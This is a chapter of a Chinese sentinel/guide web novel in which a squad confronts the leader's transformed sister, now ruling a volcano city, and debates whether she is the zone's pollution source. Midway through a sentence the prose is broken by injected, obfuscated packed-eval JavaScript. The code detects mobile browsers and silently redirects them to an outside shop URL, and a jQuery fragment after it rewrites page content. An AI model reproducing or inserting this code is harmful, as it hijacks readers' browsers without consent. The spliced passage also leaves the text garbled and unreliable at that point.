平日里静得几乎死寂的火山城也有格外热闹的时候。
这热闹比寂静更悚然。
中心广场连接着一条宽阔大道。
此时道路两旁围满了畸变种——看上去很像半精神体化的哨兵的那种。他们口中念着一些断断续续的人类词句,目光恭敬而失神地注视着道路中间缓缓走来的那位。
城主。
她有一头明艳红发,蓬松而蜷曲,披落至腰间,华丽的裙装和宝石点缀着她,但是再美丽的宝石也抵不上她的眼睛——眼型流畅,眼尾微微上挑,金色的瞳孔耀眼得令人失神。
腰部以下精神体化,金色的皮毛包裹着健硕的四肢——她是一只狮子。
游泠远远望着这位半人半狮的城主,想起昨夜在床边看到的那张照片。
她一定见过这个人——在什么时候。
陆放神色复杂地望向那位“城主”。
他毅然踏进烬土,却从未想过会看到这样鲜活生动的陆明熙……他的姐姐。
而那生动背后的意味也几乎不言自明——她极有可能成为了烬土的污染源。
他不确定这到底是更好还是更坏。
城主大人走入宽敞明亮的中心广场。原本在广场中游荡的畸变种开始自动向边缘靠拢。
陆放一行人也隐入畸变种中。
如果她真的是污染源,把人带回去几乎是一种遥不可及的奢望,更有可能的事情是:他们都会葬身于此。
又或者。
陆放无法再继续想下去。
城主金色的瞳孔淡漠地扫过众人,她的眼睛美丽却也无神——她原本的瞳色应当是褐色。
她漫无目的地走在广场上,就像一位午后闲来无事,从华美的宫殿中出来散步的贵族。
所有的臣民都应当为她躬身让路。
除了一个人。
“周正循——回来!”
周正循猛然甩开了陆放试图抓住他的手。游泠看着队伍里最稳重的这位像是被蛊惑了似的突然朝着那位城主冲去,微微蹙眉。
周正循的身影在空旷的广场上格外突兀,琥珀色的眼睛里倒映出半精神体化的陆明熙。
他开口唤道——
“……队长。”
从一开始。
周正循就比陆放更早听到她的死亡。
彼时陆放还远在边境区,而他作为她的副队更早地调查、掩护、处理信息。
是他先找到了陆放。也是他配合陆放从卡斯珀指挥官书房里找到了陆明熙当年的任务记录。
陆放之所以没被游泠抓到实质性证据,是因为他协助陆放从公爵府的密道里离开书房的。
——他连这样的机密信息都掌握了。
可是。
此时终于见到她,他却仍然感到无力。
怎么样才能把她带回去呢。
怎么样才能把他的队长带回去呢。
城主大人很快注意到了这个没有为她让路的人。
金色瞳孔在阳光下折射出美丽的光泽。
她忽而上前,扼住了周正循的脖颈。
半精神体化让陆明熙格外高大。过去她是一位S级哨兵,现在她是这里的城主,她的力量远不是周正循可以抗衡的。
“……队长,醒醒、呃唔。”
陆明熙单手把他悬空提了起来,扼住脖颈的手渐渐收紧。
周正循双手握住她的手腕,在皮肤接触的一刹那将精神力探进去,尝试与她建立精神链接。
那是一个并不标准的、向导做精神疏导时的手势。
秦半山震惊道:“正循哥是……向导?”
周正循是一位接受过严格疏导训练的向导。
——只有陆放知道这一点。
可是,现在疏导还来得及吗。
陆明熙感受到一股柔和的精神力向她涌来。
像一点微弱的萤火——瞬间湮灭在她浩瀚无垠的精神图景中。
她无意识地皱了皱眉,把手中的人扔了出去——那巨大的力量让周正循整个人横飞出去,眼见就要撞上广场的雕像。
陆放在一刹那飞身脱离人群接住了他。
隔着约莫十几米的距离,陆放与陆明熙对视一瞬。
她的表情没有丝毫的变化,金色的瞳孔淡漠地掠过他,转身,朝远处矗立的宫殿走去。
——留下无数的畸变种潮水般朝他们袭来。
众人立即拔刀作挡。
游泠提枪扫去,畸变种一击即碎,尸体消失不见——他们仍然只是幻象。
“先撤回去。”陆放道,“回那间屋子。”
于是众人边打边退。奇妙的是,那间屋子仿佛是某种安全屋,畸变种追着他们到门口就像遇到了什么封印,并不闯入,只是围在门口凶神恶煞地盯着他们。
……
周正循回来后就一言不发地把自己关进了一楼的洗手间。
他在镜子里看着脖颈被勒出来的红痕和自己止不住颤抖的双手。
针刺般的疼痛穿透了他的大脑。
——他就是这样没用。
他微弱的B级精神力根本无法为她做疏导,甚至反而被她狂化暴动的精神力所侵蚀。
他按住自己的手腕,想要尽快停止那种失控的颤抖。
却是颤抖得更加剧烈。
他收紧五指往墙上狠狠砸了一拳。
一点斑驳血迹映在墙面。
然后他听见自己的呼吸缓缓平静下来。
不能放弃……不能放弃……
一定还有办法。
他拿出一支合成向导素给自己注射进去。
……
客厅。
秦半雨冷着脸:“现在有人可以解释一下了吗。”
秦半山也难得收起了一贯的嬉皮笑脸。他不笑的时候看上去跟秦半雨格外相像。
显然,陆放和周正循隐瞒他们的事情,远比他们想象的还要多。
陆放对他们来说是个很不错的队长。
实力很强,做事抓大放小,没有那些贵族哨兵队长一肚子莫名其妙的酸气傲气,虽然有时懒散随意,但大事上这样瞒着他们还是第一次。
某种意义上,他们被排除在这个团队之外了。
恐怕连麻雀知道的都比他们多。
陆放的确没想过让他们两个也趟进这趟浑水——他和周正循开始筹谋的时候,甚至还不认识他们。
“……想知道什么尽管问吧。”相处几个月,陆放也知道这对双生子表面没心没肺,其实一个比一个固执。
“不过我话说前面——”陆放皱着眉正色道,“为这些事情无故死亡、消失的人已经不计其数。知道了,或许就没有回头路了。”
秦半雨对这警告只当没听见。
“刚才那位是谁?”她的问题直切要害。
陆放沉默一瞬,“她叫陆明熙,黑塔S级哨兵,周正循的前队长,我的姐姐。两年前执行秘密任务死亡,死亡后所有信息全部封锁,她原先队伍成员纷纷解散,随后很快在污染区任务中遇害身亡。”
非常爆炸的信息量。
秦半雨秦半山不由恍了几分神。
S级哨兵。黑塔小队队长。秘密任务。信息封锁。
每一个都能延伸出无数的问题。
秦半山沿着事情脉络问道,“所以你们怀疑其中另有隐情,一直调查到这里?”
陆放淡淡道:“S级哨兵怎么可能那么容易死。”
这理所当然的语气听得秦半山哑然——现在他怀疑陆放这个超A级可能也是S级。
……什么时候S级精神力跟污染区的畸变种似的遍地都是了。
秦半雨想起另一件事,“之前说的反抗军任务只是一个幌子是什么意思?”
“就是不存在的意思。只是为了把我们——或者更准确地说,把我,引到这里。”
秦半雨微微蹙眉。这是卡斯珀指挥官布置的任务,陆放的意思显然有所指向。
像黑塔的大部分哨兵一样,他们对三位指挥官,尤其是声望更高的卡斯珀拥有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17779016|209260||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
最基本的敬意——他是其中战功最多、也是爵位最高的一位。
这时,周正循终于从洗手间里走出来。
他表情平静,双手不再颤抖,微散的长发被重新梳理过了。
除了衣领遮不住的些许红痕,他看上去与他们平时熟悉的那个温和又理性的周正循别无二致。
看到他,秦半山又想起“周正循是向导”这件事的震撼。
他忍不住亲口确认,“正循哥,你真是向导?”
周正循歉意地笑了下,“抱歉,迫不得已一直瞒着你们。以后有需要的话可以给你们做疏导。”
“等一下。”秦半山忽然发现一点不对劲,“秦半雨。你好像不怎么惊讶。”
秦半雨面无表情:“我猜到了。”
此言一出,秦半山惊怒道:“那你不告诉我!”
秦半雨:“你也没问啊。”
秦半山:“……”
“所以在场只有我……”他目光扫过众人,路过游泠的时候捎上,“……和麻雀,不知道这件事吗?”
一直在旁观的游泠没想到自己被点名了。
“我也猜到了。”
说实话,周正循看上去就很像一位向导,甚至是应该在圣所里教书的那种。
秦半山终于心如死灰地闭嘴了。
陆放把话题拉回来,“她的状态怎么样?”
周正循笑容淡了下去。
“很糟糕,精神力暴动严重,精神图景混乱得我根本看不清……不过这里维持着D2区的样子,至少证明她的意识还没有完全消失。”
“但是。”他的声音愈加艰涩,“只凭B级精神力,远远不够。”
“她是烬土的污染源吗?”
游泠突然开口挑破了一个极端敏感的问题。
陆放不知什么时候已经坐直了身体,目光锋利。
他没有逃避答案,“很有可能。”S级精神力狂化后爆发出的能量是难以想象的。
虽然只是打了个照面,但陆明熙毫无疑问已经成为了这里的主人。
众人沉默。
狂化畸变的哨兵和污染源是两个概念。
精神力强大的哨兵或许可以救回来,污染源可以吗。
一个基础的认知是:污染源应该被杀死。
在场都曾参与过净化A级污染区的任务,没有谁不清楚这一点。
“那原来的污染源呢?”秦半山问道。
周正循:“有可能是被杀死了或者……吞噬了。”
“可是一个S级哨兵,怎么会变成烬土的污染源呢?”
秦半山无意间挑破了另一个相当敏感的问题。
那是陆放和周正循一直未能解开的谜团。
也是游泠正在寻找的真相。
游泠想起先前陆放与她对峙时的指控——是她对陆明熙动的手。
她冷冷地想:她自己都快要被说服了。
因为没有人比她自己更明白,作为黑暗向导,让一个哨兵狂化是多么容易的事——就像是为她量身定制的任务。
即便她从没真的摧毁过一个哨兵的精神图景,但是她相信她绝对能做到。
就像……如果现在让她毁掉陆放,一个强大的S级,她也有相当的把握。而这似乎正是她此行最开始的任务。
游泠忽然笑了。
她感到自己站在一片漆黑的舞台之上,而在更晦暗隐秘的地方,一双无形的大手高高在上地操控着一切。
被愚弄、被控制的荒唐感令她发笑。
“周正循。”她突然出声,看向在场唯一一位真正称职的向导。
“告诉我——理论上要怎样为一个狂化的S级哨兵做精神疏导。”
她要陆明熙亲口告诉她,两年前到底发生了什么。她那条该死的红色吊坠为什么会无端落到她的手上。
她要问清楚一切。
如果陆明熙该死——那她就再杀一次。
如果她不该死——
那她会找出来该死的人到底是谁。